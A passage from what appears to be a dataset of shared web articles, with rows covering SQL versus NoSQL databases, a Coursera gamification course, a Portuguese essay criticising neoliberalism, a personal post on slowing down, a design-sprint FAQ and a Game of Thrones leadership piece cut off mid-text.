scenario, we have to adjust the Find method so that it would start looking at both Name and FirstName/LastName properties. While NoSQL databases are technically schemaless meaning that they allow us to store documents in any shape we want, the notion of schema itself doesn't vanish from our domain model. Schemaless databases just shift the responsibility to maintain the schema to us, developers . The use of a NoSQL storage means a move from explicitly defined data structures to implicit ones. And that is a huge step back from what we have in relational databases, because, as we know, we should always try to make implicit assumptions in our code explicit . And of course, the notion of schemaless data doesn't belong to NoSQL databases exclusively. We can do the same in traditional relational databases. For example, one could serialize the whole customer object to an XML or JSON document and put it to an MSSQL/Oracle/MySQL table. This would make the customer storage schemaless as well. As you might guess, such design decisions are frowned upon in the world of relational databases because of the lack of explicitness. Explicit schema SQL storages introduce is a great assistant when it comes to defining data structures. It helps developers make sure the shape of the data they work with is consistent across the whole database. Are schema migrations easier with NoSQL databases? Another broadly accepted statement is that schema migrations are easier with NoSQL databases. Are they? In the example above, how would we handle the two editions of the customer data? We would need to introduce schema versioning: It means that in any given time there exist at least 2 versions of the Customer class and we have to handle both of them in our domain model manually: /* Other members */ lastName = /* Get the last name out of customer.Name somehow */ ; /* Work with lastName here */ The situation here is essentially the same. NoSQL databases don't help us with the schema migrations, they transfer the obligation to perform it to us, developers . With a non-relational storage, we have to do the following: Change our code so that it handles both versions of the schema (see the CustomerProcessor.Process method). Create a background job which searches for documents of the old versions and transforms them into the new version, one by one. Now, compare this to the explicit ""fire-and-forget"" migrations we can employ in an SQL database. All we have to do there is write a single script that would handle all data migrations at once . The migration logic in relational storages tends not to infiltrate to the domain model which helps keep the latter clean and simple. Schema migrations in NoSQL databases are not easier. Contrarily, they are more difficult to implement and maintain comparing to SQL storages. Other benefits of traditional SQL databases There are two more benefits traditional SQL databases provide us out of the box. There're no analogues for them in most Document-Oriented DBs. The first one is data (referential) integrity. This feature helps us verify we don't reference non-existing rows and thus keep the data consistent in the first place. For example, we can create a foreign key constraint in our customers table and thereby make sure all our customers belong to one of the predefined countries: A relational database acts here as the last stand guardian, so to speak. It means that we still need to employ proper validation in the application code ourselves but if we miss something, that wouldn't lead to data corruption. The database would inform us about the inconsistency by rejecting the incorrect transaction. In NoSQL storages, we have to - once again - handle such situations manually. It's a common practice to create a background job to reveal inconsistent data and try to settle the conflicts after they took place. Atomic transactions across different tables and/or rows is the other benefit. It's not as important as those we discussed previously because a well-designed NoSQL storage rarely requires the change of multiple documents at once. But still, it's a nice-to-have feature in many cases. NoSQL databases usually support atomic operations within a single document only. So why ever bother choosing a NoSQL data storage? Despite all the merits relational databases have, they lack two important ones: scalability and performance. And this is the only reasons why one should ever consider choosing NoSQL. Not because NoSQL database are schemaless (they are not, essentially), nor because they make schema migrations easier (they don't). Scalability. And performance. Relational databases are Jacks of all trades. They provide rich functionality out of the box. They also do pretty well with any kind of software. The only problem with SQL storages is that when your data outgrows a single database instance, you no longer can rely on the relational model. If that is the case, you have to revisit your application and try to accommodate a NoSQL storage - one that fits the needs of your software the most: But even in this case, it doesn't mean you should forgo the SQL database completely. You can employ a NoSQL storage for the part of your system that doesn't fit the relational model and keep the rest in place. This practice is called Polyglot Persistence . All said above doesn't mean you can't scale a relational DB. You can (to some extent). But this means you will need to give up on the benefits it provides, such as data integrity. Also, SQL databases don't provide such functionality out of the box, so it often becomes a pain to do that. In most cases, you are better off just choosing a NoSQL DB for scalability purposes. SQL vs NoSQL: Conclusion In most cases, NoSQL is a forced choice. It's a tool the use of which you want to postpone as much as possible as it shifts too much of burden to you as a programmer. Relational databases are more friendly, they provide rich capabilities out of the box: Explicit schema The ease of migrations Data integrity Atomic transactions across several tables/rows If your application is not expecting outstanding scalability requirements in any near future, you are almost always better off choosing a relational storage. The reason is that non-relational databases require constant (and quite big) maintenance overhead comparing to relational ones. Only if you are sure your system will contain more than tens or hundreds of millions rows in a single table, should you consider using NoSQL. And even in this case, try to extract to the non-relational storage only the parts that don't fit the relational DB. That would help reduce the overall maintenance overhead. Related articles",en
1467858541,CONTENT SHARED,-8368414190009234878,3217014177234377440,-2006747284612518402,,,,HTML,https://www.coursera.org/learn/gamification?utm_medium=email&utm_source=marketing&utm_campaign=hXTJwENaEea1Nr_6p0oZUA,[Course] Gamification - University of Pennsylvania | Coursera,"About this course: Gamification is the application of game elements and digital game design techniques to non-game problems, such as business and social impact challenges. This course will teach you the mechanisms of gamification, why it has such tremendous potential, and how to use it effectively. For additional information on the concepts described in the course, you can purchase Professor Werbach's book For the Win: How Game Thinking Can Revolutionize Your Business in print or ebook format in several languages.",en
1467858612,CONTENT SHARED,4807410384082534048,-1032019229384696495,-7617880991460295238,,,,HTML,http://cartamaior.com.br/?%2FEditoria%2FEconomia%2FNeoliberalismo-a-ideologia-na-raiz-de-todos-os-nossos-problemas%2F7%2F36031,Neoliberalismo a ideologia na raiz de todos os nossos problemas,"Imagine se o povo da União Soviética nunca tivesse ouvido falar do comunismo. A ideologia que domina nossas vidas não tem, para a maioria de nós, nome algum. Mencioná-lo em uma conversa é ser recompensado com um encolher de ombros. Mesmo que seus ouvintes tenham ouvido o termo antes, será uma luta para que consigam defini-lo. Neoliberalismo: você sabe o que é? Seu anonimato é tanto um sintoma quanto causa de seu poder. Ele desempenhou um papel importante em uma variedade notável de crises: o colapso financeiro de 2007-8, a evasão de riqueza e o deslocamento de poder para o exterior, dos quais os Panama Papers nos oferecem apenas um vislumbre, o lento colapso da saúde pública e educação, o ressurgimento da pobreza infantil, a epidemia de solidão, o colapso dos ecossistemas, a ascensão de Donald Trump. Mas nós reagimos a essas crises como se elas surgissem de forma isolada, aparentemente desavisados de que elas foram todas catalisadas ou agravadas pela mesma coerente filosofia; uma filosofia que tem - ou tinha - um nome. Que poder maior pode haver do que operar anonimamente? O neoliberalismo se espalhou de tal forma que raramente o enxergamos como uma ideologia. Parece que aceitamos a proposição de que esta utopia, essa fé milenar, descreve uma força neutra; uma espécie de lei biológica, como a Teoria da Evolução de Darwin. Mas esta filosofia surgiu como uma tentativa consciente de remodelar a vida humana e alterar o foro de poder. Ela enxerga a concorrência como a característica definidora das relações humanas. Ela redefine os cidadãos como consumidores, cujas escolhas democráticas são melhor exercidas por compra e venda, um processo que premia o mérito e pune a ineficiência. Ela sustenta que ""o mercado"" proporciona benefícios que nunca poderiam ser alcançados pelo planejamento [estatal] . Tentativas de limitar a competição são tratadas como inimigas da liberdade. Impostos e regulações devem ser minimizados, serviços públicos devem ser privatizados. Organizações do trabalho e negociações coletivas de sindicatos são retratadas como distorções de mercado que impedem a formação de uma hierarquia natural de vencedores e perdedores. A desigualdade é remodelada como algo virtuoso: recompensa pela utilidade e geradora de riqueza, que escorre para enriquecer a todos. Esforços para criar uma sociedade mais igualitária são tanto contraproducentes quanto moralmente corrosivos. O mercado garante que todos recebam o que merecem. Nós internalizamos e reproduzimos suas crenças. Os ricos se convencem de que adquiriram sua riqueza através do mérito, ignorando as vantagens - como educação, herança e classe [social] - que podem ter ajudado a retê-la. Os pobres começam a se culpar por seus fracassos, mesmo quando podem fazer pouco para mudar suas circunstâncias. Não importa o desemprego estrutural: se você não tem um trabalho é porque não tem iniciativa. Não importam os custos impossíveis de habitação: se o seu cartão de crédito está no limite, você é irresponsável e imprevidente. Não importa que seus filhos já não tenham uma quadra de esportes na escola: se eles ficarem gordos, a culpa é sua. Em um mundo governado pela competição, aqueles que ficam para trás são tidos e autodefinidos como perdedores. Como resultados, documentados por Paul Verhaeghe em seu livro What About Me?, estão epidemias de autoagressão, distúrbios alimentares, depressão, solidão, ansiedade por desempenho e fobia social. Talvez não surpreenda que a Grã-Bretanha, em que a ideologia neoliberal tem sido mais rigorosamente aplicada, seja a capital da solidão na Europa. Somos todos neoliberais agora. O termo neoliberalismo foi cunhado em uma reunião em Paris, em 1938. Entre os delegados estavam dois homens que vieram a definir a ideologia, Ludwig von Mises e Friedrich Hayek. Ambos exilados da Áustria, enxergavam a social-democracia, exemplificada pelo New Deal de Franklin Roosevelt e o gradual desenvolvimento do estado de bem-estar na Grã-Bretanha, como manifestação de um coletivismo que ocupava o mesmo espectro do nazismo e do comunismo. Em O Caminho da Servidão , publicado em 1944, Hayek argumentava que o planejamento governamental, esmagando o individualismo, levaria inexoravelmente ao controle totalitário. Como Burocracia , livro de Mises, O Caminho da Servidão foi amplamente lido. Ele chamou a atenção de algumas pessoas muito ricas, que viram na filosofia uma oportunidade de se libertar da regulação e de impostos. Quando, em 1947, Hayek fundou a primeira organização que iria disseminar a doutrina do neoliberalismo - Sociedade Mont Pelerin - foi apoiado financeiramente por milionários e suas fundações. Com a ajuda destes, ele começou a criar o que Daniel Stedman Jones descreve em M estres do U niverso como ""uma espécie de Internacional neoliberal"": uma rede transatlântica de acadêmicos, empresários, jornalistas e ativistas. Os ricos apoiadores do movimento financiaram uma série de think tanks que refinaram e promoveram a ideologia. Entre eles estavam o American Enterprise Institute, a Heritage Foundation, o Cato Institute, o Instituto de Assuntos Econômicos, o Centro de Estudos Políticos e o Adam Smith Institute. Eles também financiaram departamentos e postos acadêmicos, especialmente nas universidades de Chicago e Virgínia. À medida que evoluía, o neoliberalismo tornou-se mais estridente. A visão de Hayek de que os governos deveriam regular a concorrência para evitar a formação de monopólios deu lugar - entre os apóstolos americanos, como Milton Friedman - à crença de que o poder do monopólio poderia ser visto como uma recompensa pela eficiência. Outra coisa aconteceu durante essa transição: o movimento perdeu o seu nome. Em 1951, Friedman estava feliz por se intitular como um neoliberal. Mas logo depois disso, o termo começou a desaparecer. Mais estranho ainda, mesmo com a ideologia se tornando mais nítida e o movimento mais coerente, o nome perdido não foi substituído por qualquer alternativa comum. No início, apesar do financiamento generoso, o neoliberalismo permaneceu às margens. O consenso do pós-guerra foi quase universal: as receitas econômicas de John Maynard Keynes foram amplamente aplicadas, o pleno emprego e a minoração da pobreza eram objetivos comuns nos EUA e em grande parte da Europa Ocidental, os tetos de impostos eram elevados e os governos procuravam resultados sociais sem constrangimento, desenvolvendo novos serviços públicos e redes de segurança. Mas na década de 1970, quando as políticas keynesianas começaram a desmoronar e crises econômicas atingiram ambos os lados do Atlântico, as ideias neoliberais começaram a penetrar o mainstream . Como observou Friedman, ""quando chegou o momento em que você tinha de mudar... havia uma alternativa pronta ali para ser pega"". Com a ajuda de jornalistas simpatizantes e assessores políticos, elementos do neoliberalismo, especialmente suas prescrições para a política monetária, foram adotados pela administração de Jimmy Carter, nos EUA, e pelo governo de Jim Callaghan, na Grã-Bretanha. Depois de Margaret Thatcher e Ronald Reagan assumirem o poder, o resto do pacote logo se seguiu: massivos cortes de impostos para os ricos, o esmagamento de sindicatos, desregulamentação, privatização, a terceirização e a concorrência nos serviços públicos. Por meio do FMI, do Banco Mundial, do Tratado de Maastricht e da Organização Mundial do Comércio, as políticas neoliberais foram impostas - muitas vezes sem o consentimento democrático - em grande parte do mundo. O mais notável foi sua adoção pelos partidos que pertenceram à esquerda: o Trabalhista [na Inglaterra] e os Democratas [nos EUA] , por exemplo. Como Stedman Jones observa, ""é difícil pensar em outra utopia que tenha sido tão plenamente posta em prática."" Pode parecer estranho que uma doutrina que promete escolha e liberdade possa ter sido promovida com o slogan ""não há alternativa"". Mas, como Hayek observou em uma visita ao Chile de Pinochet - uma das primeiras nações em que o programa foi amplamente aplicado - ""a minha preferência pessoal se inclina para uma ditadura liberal do que em direção a um governo democrático desprovido de liberalismo"". A liberdade que o neoliberalismo oferece, que soa tão sedutora quando expressa em termos gerais, acaba por significar liberdade para os tubarões, não para os peixinhos. Livre de sindicatos e de negociação coletiva significa liberdade para suprimir salários. Livre de regulamentação significa a liberdade de envenenar os rios, por trabalhadores em risco, cobrar taxas de juros iníquas e criar instrumentos financeiros exóticos. Livre de impostos significa a liberdade de fugir da distribuição de riqueza que tira as pessoas da pobreza. Como Naomi Klein documenta em seu livro A Doutrina do Choque , os teóricos neoliberais defendem o uso de crises para impor políticas impopulares, enquanto as pessoas estão distraídas: por exemplo, em seguida ao golpe de Pinochet, na Guerra do Iraque e quando do furacão Katrina, que Friedman descreveu como ""uma oportunidade para reformar radicalmente o sistema educacional"" em Nova Orleans. Onde as políticas neoliberais não podem ser impostas localmente, elas são impostas de fora, por meio de tratados comerciais nos quais estão incorporadas ""soluções de disputas investidor-Estado"": foros internacionais em que as empresas podem pressionar pela remoção de proteções sociais e ambientais. Quando parlamentos votaram para restringir vendas de cigarros, proteger o abastecimento de água contra empresas de mineração, congelar contas de energia ou impedir que companhias farmacêuticas explorassem o Estado, as empresas entraram com processos, muitas vezes tendo sucesso. Democracia é reduzida a teatro. Outro paradoxo do neoliberalismo é que a concorrência universal depende de quantificação universal e comparação. O resultado é que trabalhadores, candidatos a emprego e serviços públicos de todo tipo estão sujeitos a um regime de chicana opressiva de avaliação e monitoramento, concebido para identificar os vencedores e punir os perdedores. A doutrina que Von Mises propos que iria nos libertar do pesadelo burocrático do planejamento central em vez disso criou um. O neoliberalismo não foi concebido como uma oportunidade de se dar bem em cima de outros, mas rapidamente se tornou uma. O crescimento econômico tem sido marcadamente mais lento na era neoliberal (desde 1980 na Grã-Bretanha e nos EUA) do que era nas décadas anteriores; mas não para os muito ricos. A desigualdade na distribuição de renda e riqueza, após 60 anos de declínio, subiu rapidamente nesta época, devido ao esmagamento dos sindicatos, reduções de impostos, aumento dos aluguéis, privatização e desregulamentação. A privatização ou mercantilização dos serviços públicos, como energia, água, trens, saúde, educação, estradas e prisões permitiu que empresas montassem cabines de pedágio em frente a bens essenciais e cobrassem rentabilidade econômica por sua utilização, quer pelos cidadãos ou pelo governo. Rentabilidade econômica é outro termo para rendimentos de capital. Quando você paga um preço inflacionado por um bilhete de trem, apenas uma parte da tarifa compensa os operadores pelo dinheiro gasto em combustível, salários, locomotivas e outros gastos. O resto reflete o fato de que você não tem alternativa alguma. Aqueles que possuem e administram serviços privatizados ou semiprivatizados no Reino Unido fazem fortunas estupendas investindo pouco e cobrando muito. Na Rússia e na Índia, oligarcas adquiriram bens do Estado por meio de saldões de salvados. No México, Carlos Slim conseguiu o controle de quase todos os serviços de telefonia fixa e celular e logo se tornou o homem mais rico do mundo. A financeirização, como Andrew Sayer observa em Why We Can't Afford the Rich , teve um impacto similar. ""Como a rentabilidade econômica"", argumenta ele, ""os juros são... rendimentos de capital que revertem sem qualquer esforço"". Como os pobres ficam cada vez mais pobres e os ricos se tornam mais ricos, estes aumentam seu controle sobre outro ativo crucial: o dinheiro. Os pagamentos de juros, predominantemente, são uma transferência de dinheiro dos pobres para os ricos. Como os preços dos imóveis e a retirada de financiamento pelo Estado sobrecarregam as pessoas com dívidas (pense na mudança de bolsas de estudo para empréstimos estudantis), os bancos e seus executivos fazem a festa. Sayer argumenta que as últimas quatro décadas têm sido caracterizadas por uma transferência de riqueza não só dos pobres para os ricos, mas dentro das fileiras dos ricos: desde aqueles que fazem seu dinheiro por meio da produção de novos bens ou serviços para aqueles que fazem seu dinheiro controlando ativos já existentes e colhendo rentabilidade econômica, juros ou ganhos de capital. Rendimentos do trabalho foram suplantados por rendas do capital. As políticas neoliberais estão em todos os lugares assolados por falhas de mercado. Não apenas os bancos são grandes demais para falir, mas também as corporações que agora são responsáveis pela prestação de serviços públicos. Como Tony Judt apontou em Ill Fares the Land , Hayek se esqueceu de que os serviços nacionais vitais não podem entrar em colapso, o que significa que a concorrência não se aplica. As companhias levam os lucros, o Estado fica com os riscos. Quanto maior o fracasso, mais extremista a ideologia se torna. Os governos usam crises neoliberais tanto como desculpa como oportunidade para cortar impostos, privatizar serviços públicos ainda existentes, criar buracos na rede de segurança social, desregulamentar corporações e re-regular cidadãos. O Estado que se auto-odeia agora afunda seus dentes em todos os órgãos do setor público. Talvez o impacto mais perigoso do neoliberalismo não seja a crise econômica que tem causado, mas a crise política. Como o poder do Estado é reduzido, a nossa capacidade de mudar o rumo de nossas vidas através de votação também se contrai. Em vez disso, a teoria neoliberal afirma, as pessoas podem exercer a sua escolha através do consumo. Mas alguns têm mais dinheiro para gastar do que outros: nesta grande democracia do consumidor ou do acionista os votos não são igualmente distribuídos. O resultado é uma perda de poder dos pobres e da classe média. Como tanto partidos da direita quanto ex-partidos de esquerda adotam políticas neoliberais semelhantes, a perda de poder se transforma em privação de direitos. Um grande número de pessoas foi descartado da política. Chris Hedges afirma que ""movimentos fascistas montam sua base não dos politicamente ativos, mas dos politicamente inativos, os 'perdedores' que sentem, muitas vezes corretamente, que não têm voz ou papel a desempenhar no campo político"". Quando o debate político não fala a nós, as pessoas passam então a responder a slogans, símbolos e sensações. Para os admiradores de Trump, por exemplo, fatos e argumentos parecem irrelevantes. Judt explicou que quando o grosso tecido de interações entre pessoas e o Estado foi reduzido a nada, apenas a autoridade e obediência, a única força restante que nos une é o poder [coercitivo] do Estado. O totalitarismo que Hayek temia é mais provável emergir quando os governos, tendo perdido a autoridade moral que surge a partir da prestação de serviços públicos, são reduzidos a ""manipulação, ameaça e, finalmente, coação das pessoas para lhe obedecer."" Tal qual o comunismo, o neoliberalismo é o deus que fracassou. Mas a doutrina-zumbi se arrasta, e uma das razões é o seu anonimato. Ou melhor, um conjunto de anonimatos. A doutrina invisível da mão invisível é promovida por apoiadores invisíveis. Lentamente, muito lentamente, começamos a descobrir os nomes de alguns deles. Nós sabemos hoje que o Institute of Economic Affairs, que veementemente debateu contra uma maior regulamentação da indústria do tabaco, tem sido secretamente financiada pela British American Tobacco desde 1963. Nós descobrimos que Charles e David Koch, dois dos homens mais ricos do mundo, fundaram o instituto que criou o movimento Tea Party. Nós descobrimos que Charles Koch, na criação de um de seus think tanks observou que ""a fim de evitar críticas indesejáveis, a forma como a organização é controlada e dirigida não deve ser amplamente divulgada."" As palavras usadas pelo neoliberalismo muitas vezes escondem mais do que esclarecem. ""O mercado"" soa como um sistema natural que pode agir sobre nós igualmente, como a gravidade ou a pressão atmosférica. Mas é repleta de relações de poder. O que ""o mercado quer"" tende a significar o que as corporações e seus patrões querem. ""Investimento"", como Sayer observa, significa duas coisas completamente diferentes. Uma é o financiamento de atividades produtivas e socialmente úteis, o outro é a compra de ativos existentes para ordenhar rentabilidade econômica, juros, dividendos e ganhos de capital. Usar a mesma palavra para diferentes atividades ""camufla as fontes de riqueza"", levando-nos a confundir extrativismo da riqueza com criação de riqueza. Um século atrás, os novos-ricos foram ridicularizados por aqueles que tinham herdado o seu dinheiro. Empresários procuravam aceitação social fazendo-se passar por rentistas. Hoje, a relação se inverteu: os rentistas e herdeiros denominam-se empresários. Eles afirmam ter trabalhado por seus rendimentos de capital. Esses anonimatos e confusões se enredam com a falta de nome e de pertencimento do capitalismo moderno: o modelo de franquia que garante que os trabalhadores não saibam para quem trabalham; empresas registradas através de uma rede de regimes de sigilo offshore tão complexa que até mesmo a polícia não consegue descobrir os beneficiários; um regime fiscal que trapaceia os governos; produtos financeiros que ninguém entende. O anonimato do neoliberalismo está fortemente guardado. Aqueles que são influenciados por Hayek, Mises e Friedman tendem a rejeitar o termo, dizendo - com alguma justiça - que é usado hoje só pejorativamente. Mas eles não nos oferecem nenhum substituto. Alguns se descrevem como liberais clássicos ou libertários, mas essas descrições são tanto enganosas quanto curiosamente humildes, como se eles sugerissem que não há nada de novo sobre O Caminho da Servidão, Burocracia ou clássico de Friedman, Capitalismo e Liberdade . Por tudo isso, há algo admirável sobre o projeto neoliberal, pelo menos em seus estágios iniciais. Era uma filosofia distinta, inovadora e promovida por uma rede coerente de pensadores e ativistas com um plano claro de ação. Ela foi paciente e persistente. O C aminho da S ervidão tornou-se a estrada para o poder. A vitória do neoliberalismo também reflete o fracasso das esquerdas. Quando o l aissez-faire levou à catástrofe de 1929, Keynes concebeu uma teoria econômica abrangente para substituí-lo. Quando o gerenciamento keynesiano da demanda chegou no limite nos anos 1970, havia uma alternativa pronta. Mas quando o neoliberalismo se desfez em 2008, havia... nada. É por isso que o zumbi neoliberal ainda caminha. A esquerda e o centro não produziram nenhum novo pensamento econômico nos últimos 80 anos. Cada invocação de lorde Keynes é uma admissão de fracasso. Propor soluções keynesianas às crises do século 21 é ignorar três problemas óbvios. É difícil mobilizar as pessoas em torno de velhas idéias; as falhas expostas na década de 1970 não desapareceram; e, mais importante, elas não têm nada a dizer sobre a nossa situação mais grave: a crise ambiental. Keynesianismo funciona estimulando a demanda para promover o crescimento econômico. A demanda dos consumidores e o crescimento econômico são os motores da destruição ambiental. O que a história de ambos, o keynesianismo e o neoliberalismo, mostra é que não são suficientes para se opor a um sistema falido. Uma alternativa coerente tem de ser proposta. Para os Trabalhistas, os Democratas e a esquerda em geral, a tarefa central deveria ser o de desenvolver um Programa Apollo [programa norte-americano que levou o homem à Lua] na economia, uma tentativa consciente de criar um novo sistema, adaptado às exigências do século 21. *É autor dos livros The Age of Consent: A Manifesto for a New World Order e Captive State: The Corporate Takeover of Britain. Este artigo é de seu novo trabalho, o livro How Did We Get into This Mess?. Créditos da foto: reprodução",pt
1467898070,CONTENT SHARED,-645584250289067285,6960073744377754728,392713317209486828,,,,HTML,https://medium.com/hi-my-name-is-jon/im-trying-my-hardest-to-slow-the-fuck-down-25a81c18bea4,I'm trying my hardest to slow the fuck down - HI MY NAME IS JON,"I'm trying my hardest to slow the fuck down That's my biggest goal right now. My biggest focus point. I'm trying to slow down in almost every aspect of my life. Because I rush through things, as though getting to the end of every task and experience is the most important part. I'm always thinking like a ticking clock, I'm always running when I could walk, I'm always panicking about every passing second. It's exhausting. It's draining. It's going to wipe me out. I think we all do this more and more. Because life can move faster, we act like it should move faster. You know, because technology and the internet has enabled us to do more and see more and read more and say more without any barriers, and with a soul sucking immediacy, we feel this pressure to take it as far as we can. Or we feel this pressure to be as ~productive as we can, applying life hack after life hack and squeezing as much shit into our days and our work schedules as we can, never realizing that we're treating the one irreplaceable part of our life - our time - as a limitless commodity that we can throw away. But at the same time, we're struggling with the knowledge that we don't have that much time left, that we're almost out of our own runway. That there's nothing we can do to stop the march of our own death and disappearance into history. I'm not doing so well, lately. I'm happy, sure. I'm productive, I'm achieving the things I want to achieve, I'm doing some great work. But I'm not sure I'm enjoying much of what I do. And I don't just mean the writing and the working and all of this ""Stuff"" - I mean my morning cup of coffee. Lately, I've been sucking down my coffee so fast, in an effort to just get a caffeine boost and keep on moving, that I don't even enjoy the taste of it. And that's a shame, because I fucking love coffee. Lately, I've been finishing reading more books than ever before, but I feel like I'm forgetting 80% of what I've read. I need to slow the fuck down. With everything.",en
1467898917,CONTENT SHARED,3880098804615440102,-108842214936804958,-4613605338365324569,,,,HTML,http://blog.invisionapp.com/design-sprints-faq/,Frequently asked questions about design sprints - InVision Blog,"At New Haircut, we've had the opportunity to lead design sprints for companies big and small. We've run sprints that managed to unite a dismantled team, that rescued a v1 product launch that nearly put a company out of business, and that saved a company from spending another 12 months building the wrong thing. In this article we're going to share some sprint fundamentals that have made our engagements successful. The goal is to impart you with as much knowledge as we can, so that you can avoid some of the pitfalls we've had to climb out of. Onward. Do design sprints need to be 5 full days? ""Structure in the sprint process is what enables speed."" For example, there have been times we've run a second or third sprint with a company because the first sprint showed us we were (for example) attacking the wrong challenge. In scenarios like these, we've been able to skip day one. But what's not advisable is trying to run your first sprint in less than 5 full days. Related: There's often a temptation for some of the team to duck out early. We recommend you stick to your guns here and force the entire team to hang around for the entire duration. Why? Scenario #1 Say one team member arrives several hours late for one of the days. Two things tend to happen from here: The team loses about an hour reviewing what they've accomplished for the day - big momentum killer Because that missing person wasn't part of the discussion, they wind up challenging topics with arguments the team already has clarity on Scenario #2 One common request we field is during day 5 - people turn to us and say, ""You guys have got this. We're gonna go catch up on work and then we can sync later. Cool?"" Not cool. There are 3 big downfalls: If and when your customers push back on your prototypes, those who skip out on the interviews tend to resist and/or over-challenge the negative feedback Instead of being able to wrap up the final interview and move straight into feedback and decisions, one or more of the team will need to summarize everything in a report or presentation and schedule time the following week to review everything with the entire sprint team Because that review will happen after the weekend, not only will the focus of the sprint become interrupted, but the team will likely need to rehash topics that were fresh last week ""Don't try to run your first sprint in less than 5 full days."" Is one sprint enough? One of the most popular questions we hear is, ""What happens if our prototype doesn't get the reactions we were hoping for?"" This is actually very normal and, at times, the outcome you're looking for. Let me explain. Sometimes you get together on day one and everyone in the room agrees that this is the challenge to attack. But then you build your prototype and put it in front of customers and they point you in a different direction. The good news here is that you were able to spot this mis-step within 5 days. What would have happened if you realized it after 5 weeks? After 5 months? Remember the famous Thomas Edison quote about his failures while inventing the light bulb... ""I have not failed. I've just found 10,000 ways that won't work."" And so the question that tends to immediately follow is, ""Well, now what do we do?"" You run another sprint . Again, chances are you'll be able to to move faster this time around since you can cut out day one. You may only need a few hours on day 2 if the challenge you picked was right but the solution was a shade off. The logistics of your next sprint will firm up once you complete the analysis of your customer interviews. Do we really need to completely clear our calendars? If someone on your team doesn't freak out about clearing their calendar for 5 days and/or not being allowed to bring their phones and laptops into the sprint room, it will be a first. Everyone is busy. Everyone experiences some degree of terror by not being able to check their email every 4 minutes. Remember, it's recommended that everyone be allowed to catch up on all administrative tasks from 8-9am every day. But from 9 to 5, those are sprint lockdown hours. So, block out your calendar for 5 days. You will live. And your inbox will be there waiting for you next week. Should you speak with customers prior to the sprint? In short, yes. The sprint is 5 days, but there's also a day zero. This is the time leading up to the sprint. During this time, there's no cap on the amount of customers you can meet with. There's also no shortage of data you can capture and share with the sprint team. The more prepared you are, and the more armed with data you are, the more poised you'll be on day one. Do we need 7 people to run a sprint? Not necessarily. We've talked about core roles we recommend in this article . What's more important is that you clearly define each role. And so the question that naturally follows is, ""Should we bring in outsiders to fill in the gaps in our team?"" Yes and no. You need those core roles. So if you're lacking any, you'll want to source that missing talent. Just try to avoid employing individual designers, product managers , and engineers. Why? Team chemistry is a big deal during sprints. That means your best bet is retaining a small team or firm-even better if they come stacked with design sprint experience. Since this is just a prototype, do we need a designer? I'm going answer this by quoting Braden Kowitz of Google Ventures : Sometimes companies don't have designers on their team, so we can step in to help out during a sprint. The only potential downside to augmenting a sprint team is that sometimes the core team won't have the skills to continue the project after the sprint. Companies are often hesitant to hire designers early. They ask: Do we need a designer at this stage? What would that designer do? Can we just hire a freelancer for a day to mock up some of our sketches? But after working with designers during a sprint, companies often have a much better understanding of how design can impact their company. What if we're having trouble finding customers to interview? There was this project we bid on once where the target demographic were middle-aged, married women in Dubai. Local laws prohibited men in our company from contacting them without their husbands' consent. So we recruited the help of local, unmarried women to contact these women and get their husbands' consent ahead of time. ""If you run a true design sprint, you won't have a minute for anything else."" I'm guessing your customers are more accessible. And if they aren't, there are ways to get them to come in-or minimally get them to agree to a Hangout or Skype session. Remember, you only need (at least) 5 customers . And when desperate measures call, offer them a $50 gift card for their time. What if my team isn't willing to commit to a sprint? We previously covered the topic of getting your team committed and ready-to-go. However, a popular and related set of quotes we hear from companies is ""We already did that."" Or "" We paid a company to write an RFP . We're not gonna start over."" Or ""We've been doing this for 10 years. We know how our customers think."" These are often companies operating from a place of fear. Fear of uncertainty. Fear of losing time . Fear of doing something differently. If you're that person in the company fighting against the current, you only need to plant one seed with those opposed to it. When you hear them say we already did that , you say, ""Great, so then spending 5 days on this isn't important because we're perfectly happy with our product as-is.""",en
1467898983,CONTENT SHARED,-4336355219396419841,3609194402293569455,6238714338270815946,,,,HTML,https://endeavor.org.br/game-of-thrones-lideranca/,Game Of Thrones e suas lições de liderança | Endeavor Brasil,"Se você é um grande fã de Game Of Thrones, cuidado! O inverno chegou e trouxe com ele muitos spoilers. Todo domingo à noite, na sua timeline do Facebook, alguma referência aparece sobre a última reviravolta na disputa pela soberania dos Sete Reinos. Se você não acompanha Game of Thrones, lamento por isso. Mas se você é fã que nem eu, já deve ter refletido sobre as lições dessa grande série para nossa carreira empreendedora. Deixando milhares de expectadores colados na TV por uma hora seguida, na semana passada terminou a sexta temporada de Game Of Thrones. A temporada foi recheada de reviravoltas e chegou ao fim trazendo várias definições e, principalmente, reduzindo bastante o caminho que leva a reta final da grande disputa. Neste momento, salvo eventuais surpresas, temos três grandes candidatos ao trono de ferro: Cersei Lannister, Jon Snow e Daenerys Targaryien . São três grandes candidatos. Todos chegam à reta final pelos seus próprios méritos, tendo sido testados exaustivamente em batalha. A briga vai ser duríssima. Cada um dos três candidatos tem um estilo completamente diferente e analisar suas virtudes e trajetória pode nos ensinar bastante sobre o que realmente faz diferença na busca pela liderança em um cenário turbulento e adverso como o do seriado. Cersei só agora assume o papel de protagonista, depois de anos na posição de coadjuvante. Visceral e calculista, é a mais inteligente dos três e a melhor articulada politicamente - Maquiavel teria muito orgulho dela. Assim como seu pai, Cersei sonhava em colocar um filho no trono e comandar das sombras, mas nenhum deles estava à altura. Nesta etapa ela vai ter que assumir o protagonismo com tudo de bom e ruim que isso significa: O poder está em sua mão, mas o alvo passa a estar pregado em suas costas. Cersei nos ensina algo essencial: 1. Protagonismo não é de graça Não dá para liderar da posição #2 e assumir a posição #1 tem um preço. Ter o poder em suas mãos traz uma grande responsabilidade junto . Até agora todas as suas decisões e maquinações eram freadas pelo fato de que a caneta sempre estava na mão de outra pessoa, a qual pagaria o preço pelo eventual erro. Muitos sofreram em suas mãos e ela sofreu bastante também pelos limites desse jogo. Agora que está sentada no trono será divertido ver como se vira com a inversão do jogo político e com as dívidas que assumiu para chegar onde está. 2. Não tenha medo de ser quem você é Apenas quando ela se liberta das opiniões dos outros e assume inteiramente suas idiossincrasias é que ela assume o trono. Cada pessoa é diferente. O caminho de cada um é diferente. Jon Snow, agora já conhecido como Jon Stark, é um líder que percorreu o caminho do herói pelos próprios pés. Comeu o pão que o diabo amassou na Patrulha da Noite e nas terras ao norte da muralha, ganhou o respeito dos seus liderados por sua habilidade em combate e por sua integridade moral, morreu e renasceu, o que nem foi uma grande adição ao seu currículo impressionante. Galvanizou o norte e agora se apresenta irretocável como opção ao trono. Até a questão do sangue impuro já se resolveu! Jon também tem grandes ensinamentos para nos dar: 3. Reputação vale ouro Jon é irretocável moralmente. Seus homens o 